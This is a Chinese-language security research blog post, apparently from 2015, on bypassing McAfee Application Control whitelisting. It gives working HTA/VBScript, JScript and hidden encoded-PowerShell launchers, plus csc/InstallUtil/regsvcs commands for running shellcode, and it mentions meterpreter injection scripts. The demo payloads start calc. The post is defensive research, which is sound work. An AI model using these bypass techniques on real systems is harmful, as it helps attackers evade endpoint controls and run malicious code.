Bypass McAfee Application Control——Code Execution

三好学生 · 2015/12/07 12:09

0x00 前言


应用白名单(Application Whitelisting)是用来防止未认证程序运行的一个计算机管理实践。它的目的是保护计算机和网络不受应用伤害。 McAfee Application Control作为其中比较有代表性的产品,使用动态的信任模型,避免了单调的人工更新许可清单工作。由于企业会面临来自网络的大量未知软件,因此这款可以集中管理的解决方案有助于及时控制系统安全策略,满足企业的运营需求。

那么,我们就试试看,究竟能不能绕过最新版的McAfee Application Control 6.2.0(截至投稿日期)

0x01 简介


McAfee Application Control对常见文件类型如exe、dll、bat作了限制,白名单外的这些文件均无法运行。所以这次的目标就是绕过限制来执行文件。

0x02 配置McAfee Application Control


操作系统:win7x86

1.下载McAfee Application Control

www.mcafee.com/us/products…填写信息并安装

2.配置流程图

3.Add the license

管理员权限执行McAfee Solidifier 命令行

1.查看许可证是否安装

执行

sadmin license list
复制代码

2.添加许可证

在McAfee_Application_Control_v6_2_0_License.txt中会有

执行

sadmin license add 2708-0108-1402-2208-0710
复制代码

如图

3.重启服务Application Control service

执行

net stop scsrvc
net start scsrvc
复制代码

4.Create the whitelist

1.创建白名单规则

执行

sadmin solidify
复制代码

需要等待很长一段时间,为当前系统中的所有文件创建规则,如果未添加许可证,该功能无法使用

2.查看白名单状态

执行

sadmin status
复制代码

确保状态为Solidified

如图

5.Place Application Control in Enabled mode

1.开启程序控制,禁止白名单以外的程序运行

执行

sadmin enable
复制代码

如图

重启系统,重启服务,执行

net stop scsrvc
net start scsrvc
复制代码

2.查看状态

执行

sadmin status
复制代码

确保McAfee Solidifier状态为Enabled

重启后如图

3.测试

新建一些测试文件

执行

sadmin list-unsolidified
复制代码

查看白名单以外的程序

如图

执行

sadmin scripts list
复制代码

查看禁止执行的文件类型

如图

分别执行exe、bat、dll,均被限制,如图

0x03 代码执行漏洞


1.难题

无法执行自己的程序

2.分析

根据白名单系统的特点,绕过的思路如下:

  1. 找到系统中的特定白名单程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

  2. 找到系统中未被拦截的特定程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

0x04 绕过方法


最终我们还是做到了:D

1.执行vbs

利用hta文件

Tips:

hta是HTML Applications的缩写,是利用HTML和Dynamic HTML(DHTML)开发应用程序

利用如下代码即可通过hta执行vbs

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
</HEAD> 
<BODY> 
</BODY> 
</HTML> 
复制代码

如图

然而并不完美,hta的界面会默认显示,所以我们需要进一步修改来隐藏hta的主界面

加入属性指定hta执行后最小化显示,完整的代码如下

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 
复制代码

保存为vbs.hta,执行如图

2.执行jscript

jscript未被McAfee Application Control限制,因此可以被利用

如下代码保存为calc.js

#!js
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');
复制代码

执行成功,如图

3.执行powershell

如果可以执行powershell代码,还担心绕不过McAfee Application Control吗?

当然,默认是肯定无法执行的,如图

方法1:

将ps1文件内容保存为script.txt,然后进入Powershell环境执行如下代码:

Get-Content script.txt | iex
复制代码

但是如果txt中含有函数,会产生如下错误,需要更改脚本内容,错误如图

方法2:

利用hta可以执行vbs,再用vbs执行Powershell

使用如下代码并保存为vbs+ps.hta

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true

</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 
复制代码

执行后先调用vbs脚本,再执行Powershell命令

方法3:

利用快捷方式执行Powershell

右键新建一个快捷方式,填入如下代码,并保存为ps.lnk

powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==
复制代码

如图

运行快捷方式后执行Powershell命令,弹出计算器

方法4:

利用Powershell环境直接执行,简单粗暴

cmd下执行Powershell.exe进入Powershell环境,然后在下面直接输入所有命令即可

0x05 漏洞利用


目前我们已经可以在安装McAfee Application Control的系统中执行vbs、jscript、Powershell,那么利用上述方法可以实现什么呢?

1.执行shellcode

方法1:

利用vbs,将shellcode转为vbs,然后通过hta执行

参考地址:

blog.didierstevens.com/2009/05/06/…

方法2:

利用js

方法3:

利用Powershell

在之前的文章对通过Powershell执行shellcode有过详细介绍,对其中的ps1文件细节作简单修改保存为1-CodeExecution-Shellcode.ps1

进入Powershell环境,然后在里面执行1-CodeExecution-Shellcode.ps1的所有内容

如图

方法4:

利用InstallUtil

在之前的文章《利用白名单绕过限制的更多测试》对此有过详细介绍

上传shellcode.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
复制代码

如图

方法5:

如果系统支持.net4.0,可以利用regsvcs

参考地址:

gist.github.com/subTee/fb09…

上传key.snk和regsvcs.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library 

/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
复制代码

2.执行exe

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为2-CodeExecution-Exe.ps1

进入Powershell环境,然后在里面执行2-CodeExecution-Exe.ps1的所有内容

如图

3、加载dll

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为3-CodeExecution-dll.ps1

进入Powershell环境,然后在里面执行3-CodeExecution-dll.ps1的所有内容

如图

4、注入meterpreter

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为4-Process Injection-Meterpreter.ps1

进入Powershell环境,然后在里面执行4-Process Injection-Meterpreter.ps1的所有内容

如图

0x06 小结


我们成功在安装McAfee Application Control的系统上执行了vbs、exe、dll以及注入meterpreter。

当然McAfee Application Control还有其他一些保护功能,我们的研究测试也不只如此。

注:

以下文件可供下载

1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta
复制代码

下载地址:

github.com/3gstudent/B…

参考链接:

  1. bsidesvienna.at/slides/2015…
  2. kc.mcafee.com/resources/s…
  3. www.intel.com/content/dam…
  4. subt0x10.blogspot.hk/2015/11/all…
  5. blog.didierstevens.com/2009/05/06/…
  6. subt0x10.blogspot.hk/2015/08/app…
  7. gist.github.com/subTee/a06d…
  8. gist.github.com/subTee/fb09…
  9. social.technet.microsoft.com/Forums/scri…

本文由三好学生原创并首发于乌云drops,转载请注明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值